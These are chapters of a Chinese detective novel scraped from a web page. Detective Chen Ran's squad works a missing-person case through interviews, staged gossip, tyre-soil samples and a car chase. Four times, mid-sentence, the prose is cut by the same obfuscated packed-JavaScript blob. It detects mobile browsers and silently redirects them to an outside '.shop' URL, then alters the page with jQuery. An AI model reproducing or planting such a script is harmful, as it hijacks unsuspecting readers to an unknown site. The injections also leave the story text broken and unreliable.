老姚从进来就表现得亲切随意,仿佛叫他们过来真的只是想了解下老黄失踪前后的细节。 黄国祥跟警察打交道的机会不多,虽知道警察不好对付,但老姚表现得相当随和,不时聊几句家常,他不由自主地放松了警惕。 吴为刚去了门口,听到这里,不用老姚和陈染吩咐,他先带着一个刑警下了楼,走到支队大院外,刚到门口,就找到了黄国祥开过来的一辆皮卡车。 又说了几句家常,老姚重新进入正题。 “对了,老爷子失踪前后,就没给你们几个打过电话?” “没……我那两天饭局多,跟人喝酒了,打没打我没注意。我朋友太多,很多未接电话都是广告或者诈骗的,我不怎么看。” 黄国祥的说辞看似合理,但他说话时有意无意垂着头,还悄悄打量着老姚和汪队的反应。 至于陈染,因为是个年轻女孩,他没把陈染当回事,只当她是个做记录的下属。 这种表现不像回忆,更像是在编造理由说谎。 同样的问题,焦俊芳只简单地说了几个字:“我没接到电话。”说到这儿,她连着轻咳几声。 陈染问道:“没事儿吧?” “没事,嗓子有点痒。”焦俊芳不咳了。陈染却注意到,焦俊芳咳嗽过后,黄国祥说话似乎变得谨慎了一些。 四十分钟后,老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171729|196833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姚看了眼陈染:“还有什么要补充的吗?” 陈染摇头,表示没有。 离开询问室时,焦俊芳率先走出去,把黄家兄弟俩甩在了身后。 回到会议室,老姚跟陈染说:“从这三个人相处的情况我们能看出来,焦俊芳跟黄国吉的夫妻关系存在问题。” “焦俊芳和小叔子的确有可能存在暧昧关系,不过我个人觉得,在这两个人之间,主心骨应该是焦俊芳,黄国祥对焦俊芳心存顾忌。” “傅哥,吴为,还有各位。你们有什么看法也说说吧。”陈染没有急于发言,先点了两个年轻刑警的名字。 傅晋安没有推托,接着发言:“黄国吉应该知道点什么,但他选择隐忍,不知道是不是有什么顾虑。” 吴为说了两点:“陈队,焦俊芳身上的味跟那封举报信挺像的,那封信不会是她写的吧?” “还有件事,那辆车牌号我刚才记下来了,也简单地检查了一下车上的情况,暂时没发现血迹。因为时间短,检查得不全面,回头我去趟车管所,看看那车在谁名下,再找机会查这辆车。” 陈染点头:“没错,焦俊芳身上的香水味不算浓烈,但是嗅觉好的人闻着挺明显的。” “这个味道不光焦俊芳身上有,黄国祥也有。这说明他们二人近期大概率有过近距离接触,所以,我觉得得找机会给黄国祥和他侄女做下亲子鉴定。” “姚大哥,鉴定的事你安排下吧。现在我想找几个擅长传谣言的人,你们谁可以?” 陈染这个问题一抛出来,底下没有一个人应声。 吴为心中好奇,面上却一脸正色地道:“陈队,不信谣不传谣,我们都是正派人,传谣言这种事我们可不会随便做。” 有位年轻刑警被他这句话逗笑了,也不知道是哪个最爱聊八卦,现在说这些谁信啊? 陈染:…… 她抿了抿唇,说出真正用意:“你们也看出来了,那封举报信很可能是焦俊芳写的。” “这个举报一旦成立,黄国吉不但会被单位开除,还会被警方怀疑是凶手,她这么做,说不定早就跟黄国祥合谋了。” “如果他们真的合作了,他们大概率会互相袒护,隐瞒真相。” “所以我想找几个人,想办法破坏二人之间可能存在的联盟,最好能让他俩翻脸,互相揭短。” “你们也知道,这个案子线索几乎没有,这是个不得已而为之的办法。” 陈染这一解释,会议室里的人一下子就明白了。 这一招的确可行,现在这个案子找不到尸体,没有人证也没有痕迹方面的证明,只能想办法在两个最大嫌疑人身上找突破口。 听到这儿,吴为马上举手表态:“陈队,我觉得我可以。” “凭什么选你?刚才你还说你不是这种人呢。”有位刑警也想接这个任务,举手时他不客气地看了眼吴为。 吴为反应挺快,“就凭我有经验,我发小他爸妈天天在家蛐蛐别人,亲戚朋友没一个能从他爸妈嘴里逃出去的。我听多了,不会也会了。 ” 会议室里响起一阵低笑声,有位刑警道:“还是你厉害,你赢了。” 陈染笑道:“那这件事交给你负责办吧。你再挑几个人,你们商量下具体方案。” 安排好这件事,她打算跟老姚等人说下,另外安排人去查黄国吉,主要查他赌博以及财务方面的问题,也要查一下他和焦俊芳的关系。 这时老姚手机响了,挂断电话后,老姚告诉陈染:“查到黄国祥的情人了,吴为,地址和姓名你记一下,去了解下这个人的情况,或许对你的计划有用。” 5. 三人行 消失的塑料布 吴为拿到黄国祥情人的资料,正打算问问陈染还有什么指示。这时河东区的汪队从走廊进入陈染办公室,进来后马上说:“陈队,有个新情况,我觉得这个情况挺重要的。” 吴为和傅晋安还没走,老姚也在陈染办公桌对面坐着。 “汪队,具体是什么事?”陈染猜测,这个情况一定很重要,不然汪队不会是现在这样的表情。 “是这样,你们也知道,这个案子最初是由我们河东分局接手的,我们云队把案子分到我手里,这些天我一直让底下人调查河东区防水材料的销售情况,包括塑料布、油布以及大型塑料袋。” “我想过,老黄在家中无端消失,家中各个下水管道又没有发现人体组织碎片和血液。那他或许被人用箱包或者包装材料装了起来,运出了家属楼。” “当然,这一点只是我的猜想,前些天一直没什么发现。不过还好,刚才我们队小刘给我打电话,说他在河东区汪河路的一家日用品商店查到了一笔塑料布的销售记录,塑料布是2米*3米的规格。” “据店员反映,买这块塑料布的人就是黄国祥,他认出了黄国祥的照片,黄国祥声称他买塑料布是准备等天冷了腌酸菜用的。” 办公室内所有人都安静下来,陈染当即问道:“黄良家中并没有发现大块的塑料布,也没有腌酸菜用的大缸。所以,我们有理由认为,黄国祥买这块布另有用途。你这个线索的确很重要,值得沿着这条线追下去。” “购买日期和时间有吗?”陈染追问道。 “日期有,是9月1号下午买的。” 9月1号?老黄打电话求救的时间是9月5号晚十点四十。 如果黄国祥真打算用这块塑料布包尸体,那他就是有预谋做案。 听到这里,老姚说:“陈队,有了这个新发现,我们接下来必须得派人跟紧黄国祥,观察他的行踪。他平时都和什么人来往,这些都要查。” 陈染点了点头,说:“姚大哥,你对咱队里的人都熟,负责跟踪的人选由你来安排吧。” 老姚答应一声,准备打电话叫人。 这时陈染又跟河东区刑警大队二中队队长汪队说:“汪河路距离黄国祥住的两个地方都不算近,至少有一公里远。在没有线索的情况下,你能坚持派人查到那里,挺不容易的。” 汪队之前曾经犹豫过,他选的路子对不对,会不会浪费警力。现在总算查到了线索,他自然很开心。 被陈染夸了一通,汪队还挺不好意思的,他搓了搓手:“要是这个线索能有用,那就太好了,其他的我倒没想太多。” “要是没别的事,我先去一趟汪河路,去那家店看看能不能再挖出来点线索。” 陈染没什么意见,等汪队走后,她把吴为叫了过去:“你那边的计划照旧进行,只要能让焦俊芳和黄国祥反目,互揭对方底细就可以。” 这个任务吴为很喜欢,走之前他先说了下自己的意见:“我打算先和同事碰下头,看看黄国祥给他的新情人花了多少钱,都买了什么东西查个大概,再去接触焦俊芳。” 陈染猜到了他的意图,假如焦俊芳跟小叔子黄国祥真有不伦关系,那黄国祥有新情人,还给新情人花了不少钱这种情况,对她肯定是个刺激。 如果他们之间关系正当,那这件事对她不至于有多大伤害,所以吴为这个计划是可行的。 “行,你们看着办吧,有什么情况及时沟通。” “收到,陈队你就瞧好吧,我先去忙了。”吴为兴冲冲地去找队友研究行动计划去了。傅晋安和老姚各有任务,也都先后离开陈染办公室。 黄良失踪一案,还需要时间整合线索,一时半会不需要她做什么。陈染打开电脑,翻看着支队长提前发给她的案件清单。 一共十二个案件,半数是容城市近几年没有侦破的案子,半数是省内其他市未侦破案件,都属于积案。 作为队长,她还得见缝插针地查看下其他案件的卷宗,如果她觉得哪个案件具备侦破条件,就可以介入调查。 这些案件能发到她这里,就有请求协助的意思。 她暂时没打算办理这些案件,因为手底下人都放出去了,抽不出人手,但她可以抽空先了解下。 当天陈染在支队待到晚十点才回家,次日下午三点,陈染接到了路鸣的电话。 路鸣是河西区莲山派出所民警,比陈染大三岁。陈染曾在莲山派出所工作几个月,和路鸣都在四组,两人经常一起出警办案,关系相当好,现在也经常联系,偶尔有时间还会约饭。 挂断电话后,陈染从办公室出来,去了二楼刑科大队办公区。 市局刑科大队长姓瞿,是位资深痕检以及指纹鉴定专家。之前陈染代表容城参加省指纹比对大赛,他还是评委之一,两人早就认识。 他在走廊上碰到陈染,赶紧合上手上的文件,笑着叫住她:“陈队,听说你来五大队报道了,我正想去看看你,你倒先来我们这儿了。” “是不是有什么事?不然你这大忙人怎么会来这边?” “确实有点事,刚来市局,还在熟悉情况,最近有点忙,等空了请瞿队吃饭。” 陈染跟老瞿打完招呼,顺便说明了来意:“这次过来,是想找市局的法医聊点事,不知道那两位法医在不在?” “有一个不在,去下面的区指导解剖去了,大齐在办公室,才回来半个小时,应该还没走。”老瞿没问陈染找法医的目的,直接给陈染指了下方向。 陈染道了谢,找到法医办公室的牌子,敲了敲门。 门打开时,陈染闻到了一股清新的味道。 开门的人三十余岁,穿着白色T恤,体态匀称。 “你是……”齐法医两个月前才从外地转到容城市局,不认识陈染。 陈染先简单地做了下自我介绍,接着便说明来意:“齐法医,现在需要用到基因鉴定的案子越来越多,但基因鉴定不只一种,有些机构在做基因鉴定时还会出错。” “所以我想,你能否给我们五大队全体成员讲一两个小时的课?就是给大家做做科普,讲一下基因鉴定的类型,各种类型的适应范围,还有鉴定可能出错的原因?” “不需要讲技术细节,只要讲一下分类和应用范围,让大家知道什么情况应该用什么种类的鉴定方法。这样做对以后办案会有不少用处。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171730|196833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>齐法医跟陈染不熟,看到陈染时,他也谈不上好感不好感的,但他对陈染说的事挺感兴趣。 作为法医,他自然知道基因鉴定应用得越来越多,在拐卖、寻亲、办理离婚、遗产继承、移民和婴儿错抱案里都需要用到这种技术。 所以,他没有半分犹豫,很快就答应了:“可以,我先把材料整理好,回头我们约个时间,我去给他们上课。但我有个条件,让我上课可以,上我的课必须要完成作业,还得通过考试,通不过的得补考。” 他能这么说,就代表他对这件事很认真,陈染巴不得这样。 她便笑了下,说:“这个条件不过分,作业和考试的事,我会监督他们完成的。” “不过我们五队的人最近在忙一个案子,暂时上不了课,你先把材料准备好,稍后我们再约时间。” 五大队办的案子齐法医听说了,但那个案子没有发现尸体,他这个法医自然没有介入,也不了解细节,只听说案子基本没什么线索,挺难办的。 “还有什么事吗?”齐法医不喜与人客套,说完上课的事,见陈染没有告辞的意思,便问了一句。 “对,还有件事打算请教你。” “跟专业有关的事你可以随便问。”齐法医平时都是生人勿近的作派,不喜与人闲谈,跟陈染也是公事公办的态度。并没有因为她是新任队长,就给予她特殊待遇。 陈染不在意他态度如何,见齐法医没什么抵触情绪,就道:“我派出所有位老同事今天中午接了个警,是一起自杀案,经过初步检查,死者生前曾服用过艾司唑仑。” “艾司唑仑,安定类药物,吃这个药一般不至于死亡吧?量特别大有点可能。”齐法医有些疑惑。 她当即点头:“对,这是个疑点,除此之外,死者弟弟在他哥床底下找出一个空的胰岛素盒子,他说他哥是被他嫂子害死的。” “胰岛素?要是服药后有人给他注射胰岛素,过量了就会死。不过这个不太好查,死亡时间要是比较长也会增加难度。” “死者是今天中午死亡的,尸体还在家里停放,他们那儿刚好缺一个厉害法医坐镇,你要是有兴趣,我跟他们说一声,送你过去看看怎么样?” 齐法医对于自己的专业是有追求的,遇到特别的案例就想上手,所以陈染这个提议甚合他意。 刚好他下午事情不多,就道:“我可以去,不过我得跟领导说一声。” “那行,我开车送你过去吧。”陈染记得,吴为已经拿到了黄国祥与其新情人车某之间的金钱往来情况,下午吴为和另外两位刑警打算去焦俊芳工作的大饭店跟她制造个偶遇。 那个饭店离路鸣所说的地址很近,死者住的小区就在逐风大饭店斜对面。 这个时间点,那几个人应该往饭店走,她送齐法医过去,说不定能碰到他们。 陈染带着齐法医到达逐风大饭店斜对面的小区时,离四点还差八分钟。这个时间,来饭店就餐的客人很少。 所以,吴为带着两个同事走到饭店大堂时,身为大堂经理的焦俊芳很快就认出了最前面的吴为。 那几个警察怎么到这儿来了?焦俊芳警惕地注意着这几个人的动向。 6. 三人行 车轮里的泥土和野草 “焦经理,店里这个月要的货给送来了,你来看一下,签个字。”焦俊芳本打算靠近点,看看那几个警察来做什么。但送货司机找到她这里,她不能不去。 二十分钟,她终于赶回大堂,吴为那桌的菜已经上齐了。 借着绿植的掩护,焦俊芳靠近窗边那桌,不着痕迹地听那几个警察讲话。 几个年轻人脱下外套,露出内搭的便装,看上去都挺放松。 “大为,咱队一直把时间搭在这个失踪案上,什么时候是头啊?你跟老姚走得近,知道的多一点,那你说老姚和队长他们到底是什么意思?” 吴为欠身往两个同事杯子里续饮料,坐下后才说:“哎,领导怎么说咱们就怎么办呗,我有什么办法?不过我听老姚的意思,这个案子过阵子就要撤了。” “原因很简单,证据不足,又没线索。一般像这样的案子,都是不了了之。” 焦俊芳站在绿植后,不时看向门口,时刻注意着进出的顾客。多年的接待工作让她拥有眼光六路耳听八方的能力,那几个警察说的话也传入她耳中。 要撤案了吗?这跟她预料得差不多。焦俊芳紧绷的心情放松些许,甚至考虑着,如果接下来没什么情况,就去别的地方看看,不必一直守在这边了,免得被那些人察觉到。 她还没走,有位年轻人就道:“我有个感觉,这个案子不是那么简单的,作案人说不定是大儿子?不是说赌博输了不少钱吗?” “算了,我不说了,我也是瞎猜的,又没证据。”似乎是意识到自己失言了,年轻人赶紧打住这个话头。 吴为右手边的年轻警察却道:“咱们这行讲究疑罪从无,没证据,你怎么猜都没用。对了,大为,听说你最近也查了那个叫黄国祥的,听说他在外边有地方住,他真没什么事?” “没查出来什么,养情人这种事只关乎道德,跟咱们手头的案子又没关系,算不了什么。领导发话了,说差不多就先不查了,过几天准备办别的案子。”吴为不以为然地道。 左手边那位对此似乎很好奇:“听说黄国祥外头养的车某是个卖衣服的,还不到25。姓黄的给人买了不少黄金和翡翠首饰,还在文学路那边给车某买了九十多平的房子。那么大的房子,我干十年都买不起。” 吴为却道:“见识少了不是?他给人买的可不光是那一个房子,还花了大几万,给车某小妹买了个重点高中借读指标……” 三个人添油加醋地又聊了几句,直到硕大绿植后那个身穿工作服的人影走开,吴为才朝两个同事做了下手势,示意说到这里就差不多了。 吴为抓紧时间吃了个饱,结帐时,他并没有在前台附近看到焦俊芳。但他确信,焦俊芳还没离开。 几人神色如常地出了逐风大酒店,先把车开到大酒店附近的路边等候。 这辆夏利车车龄六年,行驶里程已达50万公里,车龄不算顶老,但使用过度,是个十足的老爷车。 在车里等了十七分钟,焦俊芳提着手提包从一个包间里走了出来。 陈染此时已带着齐法医进入逐风大酒店斜对面的一个小弄堂,弄堂里有一排沿街的门市房,死者就在一个门市房后边的小两居里面住。 靠近街道是门市,主要卖内衣。因为家里出了事,不时有人进出,店里的货品都被人收了起来,锁在了柜子里,以免丢失。 陈染带着齐法医进入门市,再由一道窄门进入店主夫妻俩住的小两居。 “陈染,你来了,这位就是齐法医吧?”说话的人是莲山派出所的民警蔡剑,他之前受了伤,已经痊愈。他曾带过陈染,算是陈染半个师傅。 片警路鸣也在,因为人多,他跟陈染简单说了几句话,交代了一下最新进展,就把陈染和齐法医让进卧室。 卧室布局简单,除了双人床,只有几样简单家具。 死者是个四十岁左右的中年人,因为现场人多,陈染不是主办警察,就没有往里挤。 在路鸣带领下,齐法医拿着工具箱走了进去,开始对尸体进行检查。 留在卧室里的除了死者,都是警察。至于家属,都在外间或门市房里站着,这些人分成两个阵营,正在互相指责唾骂。 一方是以死者丈母娘为主的娘家人,另一方是以死者弟弟为主的婆家人。 吵闹声不断,一时半会停不下来。蔡剑等人也没有制止,因为吵架时情绪容易失控,而情绪失控时往往会有人说真话,还会互相揭发对方的不是。这对于警方破案是有利的,谁会傻到制止他们? 陈染这次就是来送齐法医的,把人送到地方,她就跟蔡剑说:“蔡哥,人我给你们送到了。办完事让路鸣把人好好送回去。一会儿分局孙法医会到,我在路上也联系她了,等她到了,她会给齐法医做助手,有需要的话,可能还要去一趟殡仪馆解剖。” 蔡剑知道她已入职市局,是个大忙人。她能挂念着派出所里的案子,及时帮他们摇人,已经很念旧了。 他赶紧保证:“你去忙你的吧,齐法医我们肯定会照顾好。等这边忙完了,让小路全须全尾地给你把人送回去。” 陈染知道他做事稳妥,她没什么不放心的,就从卧室里走了出来。 这个门市房在一楼,又临街,此时房门大开,有不少人聚在门外议论着,还不时观望着门内的动静 陈染往外走,人还未出来,就看到了背着坤包、身着蓝色修身工作服、化着淡妆的焦俊芳。 她一路小跑,在店门外抓住一个汉子胳膊,看上去有些焦躁。 陈染看到她嘴唇翕动,在跟那汉子说话。好在她以前为了办案,曾特意练过读唇,很快“读”出了焦俊芳说的话。 “老三,你怎么跑这儿来了?我刚去你店里,没看着你人,都找你半天了。” 那个叫老三的汉子身高约一米七五,他背对着陈染,说了什么陈染没听到。 “跟我走吧,去找姓黄的。”焦俊芳语气中带有怒意,眼神中仿佛淬了冰。 老三估计说了什么,让她有所不满,不过她没说什么,就把那汉子拉走了。 那个男人转身时,陈染看到了他的侧脸。他跟焦俊芳比较像,要比她年轻,不会是焦俊芳三弟吧? 看着这对男女匆忙离开,陈染加快脚步,出了门市房。 老三在这边也有个门市房,离这个死者家不过十几米远。 陈染注意到,老三店门外停着一辆银色四轮小货车,车身一侧印着容城百川服装有限公司的字样。 老三并没有锁门,先去了店里跟一个女人说了几句话,估计是交代事情。 那女人追出来时面上有几分不满,还忿忿地看了眼焦俊芳。 陈染的车就停在路口,她抓紧时间上了越野车。按原计划,如果吴为他们所说的话对焦俊芳产生了影响,那焦俊芳在最近几天可能会做点什么。 现在看来,焦俊芳行动得挺快,可能是真的被刺激到了。 陈染观察了一下周围的车辆,暂时没看到吴为他们开的夏利。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171731|196833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打量车辆时,她也扫了眼老三开的小货车。那车最近可能是去过郊区,车轮胎缝隙中有不少干硬发黄的泥土,土里还夹杂着一些杂草杆和树叶。 陈染跟着那辆车滑出小巷,进入大马路。 等红灯的当口,陈染拿出手机,准备给留守市局的人去个电话,让他们查一查焦俊芳家里兄弟姐妹的情况。 除此之外,还要查一查老三开的车。吴为查过黄国祥朋友借给他开的车,那车才借给黄国祥两天,之前一直是他朋友和家人在开,不在黄国祥手里,所以那辆车已被排除。 现在老三的车就出现在陈染眼前,车轮里还有夹着枝叶的泥土,这说明这辆车近期很可能去过郊外。再加上焦俊芳与黄国祥关系不一般,更加重了这辆车的可疑性。 她曾试图通过黄国祥与焦俊芳内讧来得到线索,但她也无法保证最后的结果如何,这只是一种尝试。 如果能通过可疑车辆找到黄良的去向或者说埋骨地,那这个案子很可能在另一个方向获得突破。 绿灯亮了,陈染正欲启动汽车,跟上前面不远处的焦俊芳与老三,这时有一辆眼熟的绿车出现在车前方。 车里的人肯定是吴为,吴为忙着跟人,没怎么注意其他车辆,所以他并不知道,陈染也在后面跟着。 车子开出去约五百米,前方出现拥堵,吴为的车被几辆车堵在路上,一时倒不出来。他眼睁睁看着焦俊芳和老三开的车越走越远,气得直拍方向盘。 正打算倒车转向,陈染已减慢车速,靠边停下,摇下车窗跟夏利车里的几个人说:“留一个人,其他人上我车,我带你们去。” 看着突然出现在右侧车道的陈染,吴为大喜过望,带着一个刑警一路小跑,蹿上了陈染的越野车。 他俩刚坐好,陈染就道:“在跟焦俊芳吧?刚才我看到她了。那辆车的司机姓名不详,焦俊芳叫他老三。她可能是去找黄国祥算帐,黄国祥那边有我们的人手盯着,不用急。” 吴为不清楚陈染为什么会出现在这里,但现在不是问这些的时候。 “幸好遇到队长,不然我这次就把人跟丢了。” 吴为刚说完,陈染便抬起手,指了下前方那辆货车:“那辆车的车身上有喷漆,喷的是容城市百川服装有限公司。你俩再看看车轮胎,看到泥土了吧?得查一下,那车到底是服装公司的车,还是卖给了老三?” “你俩都有手机,帮我打下电话。” “吴为,你给队里打电话,看看谁在,让他们查焦俊芳的兄弟姐妹,再查一下前边那辆货车。” “陈队,你是不是怀疑,失踪的老黄是被人用前边那辆车运走的?”吴为问了一句,马上掏出手机准备打电话。 “有可能吧?不管是不是,都要查一下。” 说到这儿,陈染又告诉另一位刑警:“证物袋有吗?一会儿到了地方,从车轮胎和底盘上刮点泥下来,送到刑科大队做检验。” “必要情况下,看看咱们市有没有人能用植物分析法,以便查清楚那辆车到底去过哪里。” 连续两道命令传下来,两位年轻刑警神色微凛。 “陈队,证物袋我带了几个,应该够了。” 陈染点头,这时,前面那辆货车钻进了一个双车道的小巷子。 她刚转弯跟过去,迎面就出现一辆超载的大货,那货车开得急,来不及减速,又因为车身宽大,一辆车占去大半个车道。 陈染抓住方向盘,告诉吴为和另一位刑警:“都抓紧点。” 7. 三人行 会车时的神操作 吴为不知道陈染要做什么,他身体反应比大脑还快,陈染刚让他抓好,他就伸手抓紧车门上方的把手。 眼见越野车即将与迎面而来的大货车会车,另外两位刑警也找了东西抓紧。 前方车道比陈染开的越野车要窄,直接开过去的话,路面宽度肯定不够。但陈染要是停下,也会被驶过来的大货车刮到。 所以,她现在只能占用一部分人行道的路面,除此之外,没别的办法。 陈染也是这么打算的,但有一辆红色摩托车突然在人行道上超车,从陈染这辆车后,冲到车右侧。 看那车速,应该是超速了。 陈染不禁皱了皱眉,她感觉最近半年市区交通要比以前乱了一些。 看到那辆突然闯入视野的摩托,吴为气得直想捶窗。他不是爆脾气,但今天连续出意外,多少影响到了他的心态。 大货已近在眼前,陈染飞速转动方向盘,不过几秒钟的时间,吴为突然感觉身体向左侧车门倾斜。要不是他提前抓紧了扶手,肯定会撞到车门上。 片刻后,他反应过来,陈染居然让右轮悬空,车子倾斜成了一定的角度,顺利从大货与摩托车的双重围堵下闯了出去。 震惊之下,吴为的嘴张成了“o”形,另外两位刑警的反应比他强不了多少。 两分钟后,越野车车轮恢复成四轮着地的正常状态,吴为和同事也变成正常坐姿。 坐在副驾驶的左郁竟有几分遗憾,他感觉刚才的一切发生得太突然。他还没来得及体会,就结束了。 早知道新来的队长会有这种操作,他肯定会提前准备相机,把这种场面拍下来。 经过这个短暂的插曲,越野车仍平稳地跟在银色小货车后面。 “陈队,你怎么还会这个?”吴为用手比了下车轮翘起的动作,脸上带着先前没有的敬畏。 另外两个刑警的心境与他差距不大,他们是刑警,但也是大龄且热血的青年。陈染刚才做出的炫酷操作,谁能不爱? 这几个人中,只有左郁的家境能让他有随意练车的机会,但左郁并不会陈染这一手。 “去年在特警队接受了一个月的特训,半天上班,半天去特警队。刚才那个紧急动作就是在特警队练出来的。”陈染说完,跟着前方小货车转了个弯。 “一个月特训,只去半天?” 左郁估算着,如果换成是他自己,在这么短的时间里能否练成这类技能? 算了一下,他感觉成功的可能性是有的,但他保证不了成功率,也做不到像陈染这样冷静。 他自认为车技不俗,但此时他竟开始审视自己,是不是他怕苦,练得少了?要是刻苦一点,他应该也能达到陈染这种水准吧? 这场风波过去,吴为开始给队里的人打电话,还往焦俊芳户口所在的派出所去了个电话。 接电话的民警跟他很熟,先帮他查了焦俊芳家人的情况。还告诉他,有人上门捉奸,被捉的人熬不过拳脚,报警了,他正要出警。 打完电话,吴为告诉陈染:“焦俊芳家里兄弟姐妹有四个人,大姐远嫁,焦俊芳排行第二,老三叫焦俊兴,现年33,现在百川服装厂当司机,负责给公司拉货。他开的车应该是公司的车。” 陈染点头,这就对上号了,小货车司机应该就是焦俊兴,焦俊芳胞弟。 左郁也打了几个电话,顺利联系上了一个认识的打板师,此人就在百川服装公司上班。 他提供的情况与吴为刚查的差不多,服装厂的确有个叫焦俊兴的司机,他在厂子里干了五年,厂里人基本都认识他。那车是厂里运货的车。 听到这里,陈染提醒左郁:“服装厂货车运货正常情况下不需要出市区吧?顺着这条线再深挖一下,弄清楚焦俊兴平时给公司拉货时的线路。” 左郁也有这个想法,给服装厂拉货,拉的基本都是服装厂所用的原材料以及成品,正常情况下,是不需要出城去野外的,好端端的,轮胎上哪来的泥土? “到了。”陈染眼看着那辆银色小货车停在废品收购站附近一个小院,她也靠边停车。 焦俊芳与老三从货车两侧下车,老三原本两手空空,下车时,手上却多了一根木棒。 “他这不会要动手吧?”吴为也看到了他手上的武器。 这条路上有不少平房,有的平房区外墙上写着大大的拆字。这个小院外边没写,但附近有几片地方都开始拆迁,这一片可能用不了多久也得拆。 这个地方离兴胜浴池不远,步行十分钟以内就能到浴池。看焦俊芳的举动,黄国祥大概率就住在这个院子里。 陈染下车后,往旁边废品收购站的院子里瞧了瞧,收购站院子里放着一个大秤。收废品的中年夫妻都在忙碌,院子里有个司机,在往车上装捆好的纸箱。除了这些人,还有五六个附近居民,这些人大都是来卖废品的。 五队的赵根生身高勉强能达到一米七,他长了一张缺乏记忆点的脸,偶尔见过一回的话,一般人记不住他的长相。 他已提前收到通知,知道焦俊芳要来这边,早就做好了准备。 看到焦俊芳和老三打开隔壁黄国祥家的木门,赵根生不着痕迹地从几个排队的居民中间退出来,又从一个围墙缺口摸进黄国祥家院子。 这一带最近一年一直在传拆迁的事,所以墙上的缺口一直没有修,倒给他提供了方便。 借着装纸箱那辆车的掩护,那些卖破料的居民都没注意到他的举动。 陈染一直盯着这边,所以她早早就看到了赵根生,也注意到了他的举动。 黄国祥窗外放着三个连在一起的空汽油桶,他摸进院子后,躲在汽油桶后,又将事先准备好的录音机悄悄放在开着的窗边。 窗户上安着纱窗,透过纱窗,他能隐隐听到门里两个人的谈话声。 陈染没跟过去,她佯装成路人,就在附近缓慢步行。 左郁走到废品收购站附近,假装要卖一些旧电器,向老板打听相关废品的价格。 吴为和另一位刑警溜到那辆银灰货车旁边,在那刑警掩护下,吴为掏出证物袋,又用刀把轮胎缝里的土块撬下来几块,样品取得差不多了,才将装土的证物袋收好,再若无其事起身。 五六分钟后,黄国祥家里传出了重物坠地的声音。陈染和吴为人在院外,都听到了。 隔壁收购站有几个人先后转头,看向黄国祥家里,老板见惯不怪地叫回来一个跑过去的居民:“把你这些纸板放秤上,你跑什么?他们闹一会儿就完事了,你现在过去不怕挨打?” 左郁察言观色,猜测这位老板应该见过焦俊芳,也知道她常出现在这里。 如果这是真的,这位老板说不定能为警方提供一些线索,只不过现在院里人多,有些事不方便问。 陈染也想知道黄国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171732|196833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祥家里到底发生了什么事情,但她外形显眼,她过去了很容易引人注目。 吴为不远不近地跟在陈染身后踱步,没多久,有三个年龄不一的男人从路口拐过来,一直走到黄国祥家院门外,其中一人已伸出手,准备推开大门进去了。 焦俊芳和老三还在里面跟黄国祥交涉,吴为不知道他们谈到了什么,也不知道队里想要的线索是否收集完整了。 这个时候放这几个人进去,很可能打断焦俊芳和黄国祥的沟通,从而影响到他们的取证工作,所以吴为第一反应就是拦住这些人,不让他们进去。 他当机立断,抢在陈染面前朝那些人招了招手,“这位大哥,我看你不像本地人,哪地方的?” “是不是本地人,跟你有关系吗?你问这个干什么?”那人警觉性很高,对于主动套近乎的人一向很排斥,先入为主地把这种人往骗子上靠拢。 吴为也被他划为不怀好意这一组人中,他说话时的语气自然有些冲。 被人当街质疑身份,偏又不能证明自己,吴为多少有些郁闷。 想到刚才在车上接到的电话,吴为灵机一动,笑道:“我没别的意思,就是想向你打听个地方。你要不是本地人,我就得找别人了。” 问路?这样说倒也算得上合理。那男人信了几分,面上态度多少缓和些许。 旁边那人有点不耐烦,催促道:“你跟他说这些干什么,趁着黄国祥今天在家,让他把年前借走的钱拿出来,晚了就让那女的给掏空了。” 吴为:…… 看样子,这几个人之间跟黄国祥也有经济纠纷,貌似黄国祥还欠这几个人的钱。 眼见有人伸手去推大门,吴为急中生智,声音提高些许:“几位大哥,我有个中学同学把别人对象给睡了,那边来了一帮人要捉奸,去晚了就看不到了。你们谁知道路,能不能告诉我一声?” 